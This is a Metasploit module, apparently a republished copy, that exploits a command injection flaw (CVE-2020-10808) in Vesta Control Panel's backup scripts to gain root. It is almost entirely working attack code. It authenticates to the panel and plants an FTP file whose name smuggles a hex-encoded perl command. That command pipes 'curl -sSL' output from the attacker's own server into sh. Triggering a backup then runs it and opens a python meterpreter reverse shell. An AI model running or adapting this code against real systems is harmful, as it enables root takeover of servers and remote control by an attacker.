This Metasploit module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user. An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As result of that backup process, when an attacker try to list existing backups injected payload will be executed.
1ae36b8679434621ce93a5d3b05036e3##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",
'Description' => %q{
This module exploits command injection vulnerability in v-list-user-backups bash script file.
Low privileged authenticated users can execute arbitrary commands under the context of the root user.
An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
result of that backup process, when an attacker try to list existing backups injected payload will be
executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
['CVE', '2020-10808']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8083,
'WfsDelay' => 300,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2020",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(8083),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
deregister_options('FTPUSER', 'FTPPASS')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def login
#
# This is very simple login process. Nothing important.
# We will be using cookie and csrf_token across the module so that we are global variable.
#
print_status('Retrieving cookie and csrf token values')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
})
if res && res.code == 200 && !res.get_cookies.empty?
@cookie = res.get_cookies
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
if @csrf_token.empty?
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
print_good('Cookie and CSRF token values successfully retrieved')
print_status('Authenticating to HTTP Service with given credentials')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'cookie' => @cookie,
'vars_post' => {
'token' => @csrf_token,
'user' => username,
'password' => password
}
})
if res && res.code == 302 && !res.get_cookies.empty?
print_good('Successfully authenticated to the HTTP Service')
@cookie = res.get_cookies
else
fail_with(Failure::Unknown, 'Credentials are not valid.')
end
end
def is_scheduled_backup_running
res = trigger_scheduled_backup
#
# MORE explaination.
#
if res && res.code == 302
res = trigger_payload
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
return true
else
print_good('It seems scheduled backup is done ..! Triggerring payload <3')
return false
end
else
fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
end
return false
end
def trigger_payload
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
})
if res && res.code == 200
res
else
fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
end
end
def trigger_scheduled_backup
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
})
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
res
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
end
def payload_implant
#
# Our payload will be placed as a file name on FTP service.
# Payload lenght can't be more then 255 and SPACE can't be used because of the
# bug in the backend software. Due to these limitations, I used web delivery method.
#
# When the initial payload executed. It will execute very short perl command, which is going to fetch
# actual python meterpreter first stager and execute it.
#
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Yet another datastore variable overriding.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = 21
datastore['FTPUSER'] = username
datastore['FTPPASS'] = password
#
# Connecting to the FTP service with same creds as web ui.
# Implanting the very first stage of payload as a empty file.
#
if (not connect_login)
fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')
end
print_good('Successfully authenticated to the FTP service')
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
if res.nil?
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
end
print_good('Successfully uploaded the payload as a file name')
disconnect
# Revert datastore variables.
datastore['RPORT'] = port_restore
datastore['SSL'] = true if ssl_restore
end
def exploit
start_http_server
payload_implant
login
trigger_scheduled_backup
print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')
while is_scheduled_backup_running == true
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
Rex.sleep(30)
end
stop_service
end
def on_request_uri(cli, request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
second_stage = "python -c \"#{payload.encoded}\""
send_response(cli, second_stage, {'Content-Type'=>'text/html'})
end
def start_http_server
#
# HttpClient and HttpServer use same SSL variable :(
# We don't need a SSL for payload delivery.
#
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
print_status("Second payload download URI is #{get_uri}")
# We need that global variable since get_uri keep using SSL from datastore
# We have to get the URI before restoring the SSL.
@second_stage_url = get_uri
datastore['SSL'] = true if ssl_restore
end
end